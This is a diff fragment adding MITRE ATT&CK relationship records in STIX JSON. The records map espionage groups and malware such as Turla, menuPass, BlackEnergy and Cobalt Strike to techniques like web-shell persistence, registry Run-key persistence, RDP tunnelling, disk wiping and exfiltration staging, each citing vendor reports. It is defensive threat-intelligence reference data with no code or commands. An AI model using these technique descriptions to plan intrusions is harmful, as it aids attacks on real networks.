"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e8e4b87c-3d30-4627-8060-5b5116d057fc", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has deployed backup web shells and obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59a6700b-3ae5-4039-a07c-cbbf6eb7a78e", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:54.937Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) identified and extracted all Word documents on a server by using a command containing * .doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0efa0a7a-545d-49e2-b0c4-0e251226404a", + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "modified": "2019-03-25T16:57:02.797Z", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used net use to conduct connectivity checks to machines.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--12ea66f1-566a-404f-a948-f76b9047710e", + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "modified": "2019-06-28T15:24:31.892Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic communicates over a raw socket.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5e53b45b-ca14-4e8b-8c76-0cf9cb572a92", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) kills and disables services for Windows Firewall, Windows Security Center, and Windows Defender.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1082a68e-549b-47d5-9eb3-e719f01ce42b", + "external_references": [ + { + "source_name": "Cisco H1N1 Part 2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "modified": "2019-04-29T18:23:15.957Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Turla](https://attack.mitre.org/groups/G0010) Javascript backdoor added a local_update_check value under the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run to establish persistence. Additionally, a [Turla](https://attack.mitre.org/groups/G0010) custom executable containing Metasploit shellcode is saved to the Startup folder to gain persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f2450a7-d2d2-4063-9dd5-cac396a3215c", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + } + ], + "modified": "2019-07-14T21:04:44.850Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) uses HTTP for C2.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--84e09e1a-b670-427e-8f35-1c472ac7a988", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) 2 contains a \"Destroy\" plug-in that destroys data stored on victim hard drives by overwriting file contents.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d5166d3e-246b-473c-9ff0-c5cc97dd91de", + "external_references": [ + { + "source_name": "Securelist BlackEnergy Feb 2015", + "description": "Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/" + } + ], + "modified": "2019-06-24T17:08:51.628Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has attempted to get victims to open malicious files such as Windows Shortcuts (.lnk) and/or Microsoft Office documents, sent via email as part of spearphishing campaigns.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--350e9dad-4dd3-450f-b649-60340710505a", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2019-06-28T15:24:31.923Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a global service provider's IP as a proxy for C2 traffic from a victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2019-06-28T15:24:31.965Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) executes commands remotely on the infected host.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b533e55c-77c7-48f8-baa7-c8724f90e483", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.113Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of performing audio captures.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b93d69f2-32a2-43a8-9b45-693d82a51c6b", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BS2005](https://attack.mitre.org/software/S0014) uses Base64 encoding for communication in the message body of an HTTP request.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a805a8d5-632c-48df-909d-c3d745652475", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27ead6bc-2bba-49d3-bcfe-667c7654a6fc", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:29.747Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) obtains a list of running processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eb1c808f-5806-4169-bd41-6ea7c7f17ffb", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "can collect the victim user name.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6eb55cc5-1c90-44ce-ab80-0c938521f1cf", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can download files and upgrade itself.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74c1fa45-5ac3-47a0-a442-2cc5e89f7b4c", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) uses HTTP as a transport to communicate with its command server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5697b245-d888-40ab-af72-9236c6daa273", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. 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Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + } + ], + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "relationship_type": "uses", + "target_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-16T15:35:21.059Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e30bb29e-1f1c-4d68-9720-ae99da0c84ee", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can upload files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae7b632b-bb15-4807-be21-bdfff70f4f2e", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload can collect information on process details.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2c417522-9fa6-4f95-b9d6-062c9c2401b5", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.207Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Following data collection, [FIN6](https://attack.mitre.org/groups/G0037) has compressed log files into a ZIP archive prior to staging and exfiltration.", + "type": "relationship", + "created": "2017-05-31T21:33:27.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--98229d5a-fce3-442e-91cf-7ec7b7994248", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.639Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a tool to capture screenshots.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d840d1b-28d7-4387-86fd-6d3df8650171", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.159Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs local network configuration discovery using ipconfig.", + "type": "relationship", + "created": "2017-05-31T21:33:27.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6fb6c639-cefa-4c7f-af89-26cb5fcd4030", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.325Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can detect the existence of remote systems.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e7714693-e792-44f0-a224-9899df75fced", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + }, + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ], + "modified": "2019-04-29T18:01:20.338Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070)'s installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--654d9e83-9501-4de8-8828-1a1ebf36bc8f", + "external_references": [ + { + "source_name": "ZScaler Hacking Team", + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can execute commands on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--16632790-94dc-40ce-9c0a-2f6af0f691b1", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + 